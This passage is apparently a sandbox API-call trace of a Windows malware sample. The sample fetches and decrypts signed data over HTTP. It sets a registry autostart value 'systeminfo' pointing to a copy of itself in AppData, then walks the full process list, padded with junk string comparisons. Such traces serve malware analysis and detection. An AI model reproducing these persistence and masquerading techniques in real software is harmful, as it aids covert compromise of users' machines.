0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.062] GetLastError () returned 0x0 [0143.063] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x246f860, lpdwBufferLength=0x246f868, lpdwIndex=0x0 | out: lpBuffer=0x246f860*, lpdwBufferLength=0x246f868*=0x4, lpdwIndex=0x0) returned 1 [0143.063] GetLastError () returned 0x0 [0143.063] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5178a0, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x5178a0*, lpdwNumberOfBytesRead=0x246f864*=0x94) returned 1 [0143.063] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x517934, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x517934*, lpdwNumberOfBytesRead=0x246f864*=0x0) returned 1 [0143.063] GetLastError () returned 0x0 [0143.063] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0143.063] CryptDecrypt (in: hKey=0x4e6b98, hHash=0x4f3838, Final=1, dwFlags=0x0, pbData=0x4f51a0, pdwDataLen=0x246f934 | out: pbData=0x4f51a0, pdwDataLen=0x246f934) returned 1 [0143.063] CryptVerifySignatureW (hHash=0x4f3838, pbSignature=0x5178a0, dwSigLen=0x60, hPubKey=0x4e6a40, szDescription=0x0, dwFlags=0x0) returned 1 [0143.064] CryptDestroyHash (hHash=0x4f3838) returned 1 [0143.064] GetCurrentProcess () returned 0xffffffff [0143.064] GetLastError () returned 0x0 [0143.064] wsprintfA (in: param_1=0x246f7e7, param_2="%X%P" | out: param_1="38ECDP") returned 6 [0143.064] SetLastError (dwErrCode=0x0) [0143.064] GetCurrentProcessId () returned 0x79c [0143.064] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0143.064] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0143.064] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0143.064] RegSetValueExW (in: hKey=0x394, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0143.064] RegCloseKey (hKey=0x394) returned 0x0 [0143.065] GetCurrentProcessId () returned 0x79c [0143.314] GetTickCount () returned 0x9b73 [0143.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x246f730, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0143.314] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0143.314] GetCurrentProcess () returned 0xffffffff [0143.314] GetLastError () returned 0x0 [0143.314] wsprintfA (in: param_1=0x246f697, param_2="%X%P" | out: param_1="3C52DP") returned 6 [0143.314] SetLastError (dwErrCode=0x0) [0143.314] GetCurrentProcessId () returned 0x79c [0143.314] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0143.315] GetLastError () returned 0x0 [0143.315] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C52EP") returned 6 [0143.315] SetLastError (dwErrCode=0x0) [0143.315] GetCurrentProcessId () returned 0x79c [0143.315] Process32FirstW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.315] GetCurrentProcessId () returned 0x79c [0143.315] GetCurrentProcessId () returned 0x79c [0143.315] GetCurrentProcessId () returned 0x79c [0143.316] GetCurrentProcessId () returned 0x79c [0143.316] lstrcpyW (in: lpString1=0x52d5dc, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0143.316] lstrlenA (lpString="just string") returned 11 [0143.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.316] GetLastError () returned 0x0 [0143.316] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0143.316] lstrlenA (lpString="just string") returned 11 [0143.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.316] GetCurrentProcessId () returned 0x79c [0143.316] GetLastError () returned 0x0 [0143.316] lstrcpyW (in: lpString1=0x52d804, lpString2="System" | out: lpString1="System") returned="System" [0143.316] GetLastError () returned 0x0 [0143.316] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0143.317] GetCurrentProcess () returned 0xffffffff [0143.317] GetLastError () returned 0x0 [0143.317] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C5A5P") returned 6 [0143.317] SetLastError (dwErrCode=0x0) [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] GetLastError () returned 0x0 [0143.317] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="3C5A6P") returned 6 [0143.317] SetLastError (dwErrCode=0x0) [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] lstrcpyW (in: lpString1=0x52da2c, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.317] lstrlenA (lpString="just string") returned 11 [0143.317] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.317] GetLastError () returned 0x0 [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] lstrcpyW (in: lpString1=0x52dc54, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0143.317] GetCurrentProcessId () returned 0x79c [0143.317] lstrlenA (lpString="just string") returned 11 [0143.317] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.317] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0143.318] GetLastError () returned 0x0 [0143.318] GetCurrentProcessId () returned 0x79c [0143.318] GetCurrentProcessId () returned 0x79c [0143.318] lstrcpyW (in: lpString1=0x52de7c, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0143.318] GetCurrentProcessId () returned 0x79c [0143.318] lstrlenA (lpString="just string") returned 11 [0143.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.318] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.318] GetLastError () returned 0x0 [0143.318] GetCurrentProcessId () returned 0x79c [0143.318] GetLastError () returned 0x0 [0143.318] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0143.319] GetCurrentProcess () returned 0xffffffff [0143.319] GetLastError () returned 0x0 [0143.319] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C645P") returned 6 [0143.319] SetLastError (dwErrCode=0x0) [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] GetLastError () returned 0x0 [0143.319] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="3C646P") returned 6 [0143.319] SetLastError (dwErrCode=0x0) [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] lstrcpyW (in: lpString1=0x52e0a4, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0143.319] lstrlenA (lpString="just string") returned 11 [0143.319] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.319] GetLastError () returned 0x0 [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] lstrcpyW (in: lpString1=0x52e2cc, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0143.319] GetCurrentProcessId () returned 0x79c [0143.319] lstrlenA (lpString="just string") returned 11 [0143.319] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.319] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0143.320] GetLastError () returned 0x0 [0143.320] GetCurrentProcessId () returned 0x79c [0143.320] GetCurrentProcessId () returned 0x79c [0143.320] lstrcpyW (in: lpString1=0x52e4f4, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0143.320] GetCurrentProcessId () returned 0x79c [0143.320] GetCurrentProcessId () returned 0x79c [0143.320] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0143.320] lstrlenA (lpString="just string") returned 11 [0143.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.320] GetLastError () returned 0x0 [0143.320] GetCurrentProcessId () returned 0x79c [0143.320] lstrcpyW (in: lpString1=0x52e71c, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0143.320] GetLastError () returned 0x0 [0143.320] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.321] GetCurrentProcess () returned 0xffffffff [0143.321] GetLastError () returned 0x0 [0143.321] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C6B3P") returned 6 [0143.321] SetLastError (dwErrCode=0x0) [0143.321] GetCurrentProcessId () returned 0x79c [0143.321] GetLastError () returned 0x0 [0143.321] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="3C6B4P") returned 6 [0143.321] SetLastError (dwErrCode=0x0) [0143.321] GetCurrentProcessId () returned 0x79c [0143.321] GetCurrentProcessId () returned 0x79c [0143.321] GetCurrentProcessId () returned 0x79c [0143.321] lstrcpyW (in: lpString1=0x52e944, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0143.321] GetCurrentProcessId () returned 0x79c [0143.321] GetCurrentProcessId () returned 0x79c [0143.321] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.321] lstrlenA (lpString="just string") returned 11 [0143.321] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.321] GetLastError () returned 0x0 [0143.321] GetCurrentProcessId () returned 0x79c [0143.321] lstrlenA (lpString="just string") returned 11 [0143.321] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.321] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.322] GetLastError () returned 0x0 [0143.322] GetCurrentProcessId () returned 0x79c [0143.322] lstrlenA (lpString="just string") returned 11 [0143.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.322] GetLastError () returned 0x0 [0143.322] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.322] GetLastError () returned 0x0 [0143.322] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="3C6F0P") returned 6 [0143.322] SetLastError (dwErrCode=0x0) [0143.322] GetCurrentProcessId () returned 0x79c [0143.322] GetCurrentProcessId () returned 0x79c [0143.322] GetCurrentProcessId () returned 0x79c [0143.322] GetCurrentProcessId () returned 0x79c [0143.322] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.323] GetCurrentProcessId () returned 0x79c [0143.323] lstrlenA (lpString="just string") returned 11 [0143.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.323] GetCurrentProcessId () returned 0x79c [0143.323] GetLastError () returned 0x0 [0143.323] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0143.323] GetLastError () returned 0x0 [0143.323] GetCurrentProcessId () returned 0x79c [0143.323] GetCurrentProcessId () returned 0x79c [0143.323] lstrcpyW (in: lpString1=0x52eb6c, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0143.323] GetCurrentProcessId () returned 0x79c [0143.323] GetCurrentProcessId () returned 0x79c [0143.323] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.324] lstrlenA (lpString="just string") returned 11 [0143.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.324] GetLastError () returned 0x0 [0143.324] GetCurrentProcessId () returned 0x79c [0143.324] lstrlenA (lpString="just string") returned 11 [0143.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.324] GetLastError () returned 0x0 [0143.324] GetCurrentProcessId () returned 0x79c [0143.324] GetLastError () returned 0x0 [0143.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0143.325] GetLastError () returned 0x0 [0143.325] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C786P") returned 6 [0143.325] SetLastError (dwErrCode=0x0) [0143.325] GetCurrentProcessId () returned 0x79c [0143.325] GetCurrentProcessId () returned 0x79c [0143.325] GetCurrentProcessId () returned 0x79c [0143.325] GetCurrentProcessId () returned 0x79c [0143.325] lstrcpyW (in: lpString1=0x52ed94, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0143.325] GetCurrentProcessId () returned 0x79c [0143.325] lstrlenA (lpString="just string") returned 11 [0143.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.325] GetLastError () returned 0x0 [0143.325] GetCurrentProcessId () returned 0x79c [0143.325] GetLastError () returned 0x0 [0143.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0143.326] GetLastError () returned 0x0 [0143.326] lstrcpyW (in: lpString1=0x52efbc, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0143.326] GetCurrentProcessId () returned 0x79c [0143.326] GetCurrentProcessId () returned 0x79c [0143.326] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0143.326] GetCurrentProcessId () returned 0x79c [0143.326] lstrlenA (lpString="just string") returned 11 [0143.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.326] GetCurrentProcessId () returned 0x79c [0143.326] GetLastError () returned 0x0 [0143.326] lstrcpyW (in: lpString1=0x52f1e4, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0143.326] GetCurrentProcessId () returned 0x79c [0143.326] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0143.327] lstrlenA (lpString="just string") returned 11 [0143.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.327] GetLastError () returned 0x0 [0143.327] GetCurrentProcessId () returned 0x79c [0143.327] lstrcpyW (in: lpString1=0x52f40c, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0143.327] GetCurrentProcessId () returned 0x79c [0143.327] lstrlenA (lpString="just string") returned 11 [0143.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0143.327] GetLastError () returned 0x0 [0143.327] GetCurrentProcessId () returned 0x79c [0143.327] GetCurrentProcessId () returned 0x79c [0143.327] lstrcpyW (in: lpString1=0x52f634, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0143.327] GetCurrentProcessId () returned 0x79c [0143.327] GetCurrentProcessId () returned 0x79c [0143.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0143.328] lstrlenA (lpString="just string") returned 11 [0143.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.328] GetLastError () returned 0x0 [0143.328] GetCurrentProcessId () returned 0x79c [0143.328] lstrcpyW (in: lpString1=0x52f85c, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0143.328] GetCurrentProcess () returned 0xffffffff [0143.328] GetLastError () returned 0x0 [0143.328] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="3C87FP") returned 6 [0143.328] SetLastError (dwErrCode=0x0) [0143.328] GetCurrentProcessId () returned 0x79c [0143.328] GetLastError () returned 0x0 [0143.328] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C880P") returned 6 [0143.328] SetLastError (dwErrCode=0x0) [0143.328] GetCurrentProcessId () returned 0x79c [0143.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0143.328] GetCurrentProcessId () returned 0x79c [0143.328] GetCurrentProcessId () returned 0x79c [0143.328] GetCurrentProcessId () returned 0x79c [0143.328] GetCurrentProcessId () returned 0x79c [0143.328] lstrcpyW (in: lpString1=0x52fa84, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0143.328] lstrlenA (lpString="just string") returned 11 [0143.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.328] GetLastError () returned 0x0 [0143.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0143.329] GetCurrentProcessId () returned 0x79c [0143.329] GetLastError () returned 0x0 [0143.329] lstrcpyW (in: lpString1=0x52fcac, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0143.329] GetCurrentProcess () returned 0xffffffff [0143.329] GetLastError () returned 0x0 [0143.329] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="3C89DP") returned 6 [0143.329] SetLastError (dwErrCode=0x0) [0143.329] GetCurrentProcessId () returned 0x79c [0143.329] GetLastError () returned 0x0 [0143.329] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C89EP") returned 6 [0143.329] SetLastError (dwErrCode=0x0) [0143.329] GetCurrentProcessId () returned 0x79c [0143.329] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0143.330] GetCurrentProcessId () returned 0x79c [0143.330] GetCurrentProcessId () returned 0x79c [0143.330] GetCurrentProcessId () returned 0x79c [0143.330] GetCurrentProcessId () returned 0x79c [0143.330] lstrcpyW (in: lpString1=0x52fed4, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0143.330] lstrlenA (lpString="just string") returned 11 [0143.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0143.330] GetLastError () returned 0x0 [0143.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0143.330] GetCurrentProcessId () returned 0x79c [0143.330] GetLastError () returned 0x0 [0143.330] lstrcpyW (in: lpString1=0x5300fc, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0143.330] GetCurrentProcess () returned 0xffffffff [0143.330] GetLastError () returned 0x0 [0143.330] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="3C8D9P") returned 6 [0143.330] SetLastError (dwErrCode=0x0) [0143.330] GetCurrentProcessId () returned 0x79c [0143.330] GetLastError () returned 0x0 [0143.330] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3C8DAP") returned 6 [0143.330] SetLastError (dwErrCode=0x0) [0143.330] GetCurrentProcessId () returned 0x79c [0143.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, 